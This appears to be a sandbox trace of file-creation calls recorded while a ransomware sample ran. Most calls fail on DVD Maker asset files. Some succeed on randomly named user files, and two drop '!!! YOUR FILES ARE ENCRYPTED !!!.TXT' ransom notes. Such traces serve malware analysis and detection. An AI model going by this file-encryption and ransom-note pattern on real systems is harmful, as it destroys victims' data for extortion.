Create C:\Program Files\DVD Maker\Shared\DvdStyles\Performance\redmenu.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Performance\Scene_loop.wmv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Performance\Scene_loop_PAL.wmv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Performance\TitleButtonIcon.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\_a6e\d7tl6xSJD1nVtY6WK.odp desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Performance\TitleButtonSubpicture.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Performance\Title_Page.wmv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Performance\Title_Page_PAL.wmv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Performance\title_trans_notes.wmv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Performance\Title_Trans_Notes_PAL.wmv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Performance\title_trans_scene.wmv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Performance\Title_Trans_Scene_PAL.wmv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\_a6e\ZSdZkxkh9RcKgkjSFqyf.wav desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Performance\userContent_16x9_imagemask.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Performance\whitemenu.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Pets\Notes_INTRO_BG.wmv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Pets\Notes_INTRO_BG_PAL.wmv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Pets\Notes_LOOP_BG.wmv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Pets\Notes_LOOP_BG_PAL.wmv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Pets\Pets_btn-back-over-select.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\_a6e\-StAmyJLE\6dK-r9n-.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\_a6e\-StAmyJLE\!!! YOUR FILES ARE ENCRYPTED !!!.TXT desired_access = GENERIC_WRITE, share_mode = FILE_SHARE_WRITE True 1
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Pets\Pets_btn-back-static.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Pets\Pets_btn-next-over-select.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Pets\Pets_btn-next-static.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Pets\Pets_btn-over-DOT.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Pets\Pets_btn-previous-over-select.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\_a6e\-StAmyJLE\IVq9SaixT8T5LvqIs.avi desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Pets\Pets_btn-previous-static.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Pets\Pets_frame-border.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Pets\Pets_frame-highlight.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Pets\Pets_frame-imageMask.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Pets\Pets_frame-shadow.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Pets\Pets_image-frame-backglow.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Pets\Pets_image-frame-border.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Pets\Pets_image-frame-ImageMask.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\_a6e\-StAmyJLE\wtK_2YqaV6Q RdnP6P.m4a desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Pets\Pets_notes-txt-background.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Pets\rollinghills.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Pets\Scenes_INTRO_BG.wmv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Pets\Scenes_INTRO_BG_PAL.wmv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Pets\Scenes_LOOP_BG.wmv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Pets\Scenes_LOOP_BG_PAL.wmv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Pets\Title_Page_Ref.wmv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Pets\Title_Page_Ref_PAL.wmv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\_a6e\-StAmyJLE\zC6d4eJXAWX1.bmp desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Push\1047x576black.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Push\1047_576black.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Push\NavigationLeft_ButtonGraphic.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Push\NavigationLeft_SelectionSubpicture.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Push\NavigationRight_ButtonGraphic.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Push\NavigationRight_SelectionSubpicture.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Push\NavigationUp_ButtonGraphic.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Push\NavigationUp_SelectionSubpicture.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Push\push.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Push\pushplaysubpicture.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Push\push_item.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Push\push_title.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\_a6e\3f3kdvZ\8nr4Eh.ots desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\_a6e\3f3kdvZ\!!! YOUR FILES ARE ENCRYPTED !!!.TXT desired_access = GENERIC_WRITE, share_mode = FILE_SHARE_WRITE True 1
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Rectangles\1047x576black.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Rectangles\1047x576_91n92.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Rectangles\15x15dot.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Rectangles\720x480icongraphic.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Rectangles\NavigationLeft_ButtonGraphic.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Rectangles\NavigationLeft_SelectionSubpicture.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Rectangles\NavigationRight_ButtonGraphic.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\_a6e\3f3kdvZ\BTlNsw.csv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Rectangles\NavigationRight_SelectionSubpicture.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Rectangles\NavigationUp_ButtonGraphic.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Rectangles\NavigationUp_SelectionSubpicture.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Rectangles\reflect.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Rectangles\vistabg.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\_a6e\3f3kdvZ\HmaHtS6w_PH5.mp3 desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\ResizingPanels\1047x576black.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\ResizingPanels\203x8subpicture.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\ResizingPanels\bandwidth.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\ResizingPanels\blackbars80.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\ResizingPanels\NavigationLeft_ButtonGraphic.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\ResizingPanels\NavigationLeft_SelectionSubpicture.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\ResizingPanels\NavigationRight_ButtonGraphic.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\ResizingPanels\NavigationRight_SelectionSubpicture.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\_a6e\3f3kdvZ\lZWl0fATxvg5Rw_ S.odt desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\ResizingPanels\NavigationUp_ButtonGraphic.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\ResizingPanels\NavigationUp_SelectionSubpicture.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\ResizingPanels\Panel_Mask.wmv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\ResizingPanels\Panel_Mask_PAL.wmv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Shatter\1047x576black.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Shatter\203x8subpicture.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Shatter\NavigationLeft_ButtonGraphic.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Shatter\NavigationLeft_SelectionSubpicture.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Shatter\NavigationRight_ButtonGraphic.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Shatter\NavigationRight_SelectionSubpicture.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Shatter\NavigationUp_ButtonGraphic.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Shatter\NavigationUp_SelectionSubpicture.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Shatter\shatter.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\SpecialOccasion\1047x576black.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\SpecialOccasion\mainscroll.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\SpecialOccasion\NavigationLeft_ButtonGraphic.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\SpecialOccasion\NavigationLeft_SelectionSubpicture.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\SpecialOccasion\NavigationRight_ButtonGraphic.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\SpecialOccasion\NavigationRight_SelectionSubpicture.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\SpecialOccasion\NavigationUp_ButtonGraphic.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\SpecialOccasion\NavigationUp_SelectionSubpicture.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\SpecialOccasion\scenesscroll.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\SpecialOccasion\specialmainsubpicture.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\SpecialOccasion\SpecialNavigationLeft_ButtonGraphic.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\SpecialOccasion\SpecialNavigationLeft_SelectionSubpicture.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\SpecialOccasion\SpecialNavigationRight_ButtonGraphic.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\SpecialOccasion\SpecialNavigationRight_SelectionSubpicture.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\SpecialOccasion\SpecialNavigationUp_ButtonGraphic.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\SpecialOccasion\SpecialNavigationUp_SelectionSubpicture.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\SpecialOccasion\specialoccasion.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\SpecialOccasion\whitemask1047.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\SpecialOccasion\whitevignette1047.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Sports\CircleSubpicture.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Sports\GoldRing.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Sports\highlight.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Sports\NavigationButtonSubpicture.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Sports\NextMenuButtonIcon.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Sports\ParentMenuButtonIcon.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Sports\PreviousMenuButtonIcon.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Sports\SceneButtonInset_Alpha1.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Sports\SceneButtonInset_Alpha2.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Sports\SceneButtonSubpicture.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Sports\SportsMainBackground.wmv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Sports\SportsMainBackground_PAL.wmv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Sports\SportsMainToNotesBackground.wmv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Sports\SportsMainToNotesBackground_PAL.wmv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Sports\SportsMainToScenesBackground.wmv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Sports\SportsMainToScenesBackground_PAL.wmv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Sports\SportsNotesBackground.wmv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Sports\SportsNotesBackground_PAL.wmv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Sports\SportsScenesBackground.wmv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Sports\SportsScenesBackground_PAL.wmv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Sports\sports_disc_mask.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Stacking\1047x576black.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Stacking\1047x576_91n92.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Stacking\15x15dot.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Stacking\720x480icongraphic.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Stacking\720_480shadow.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
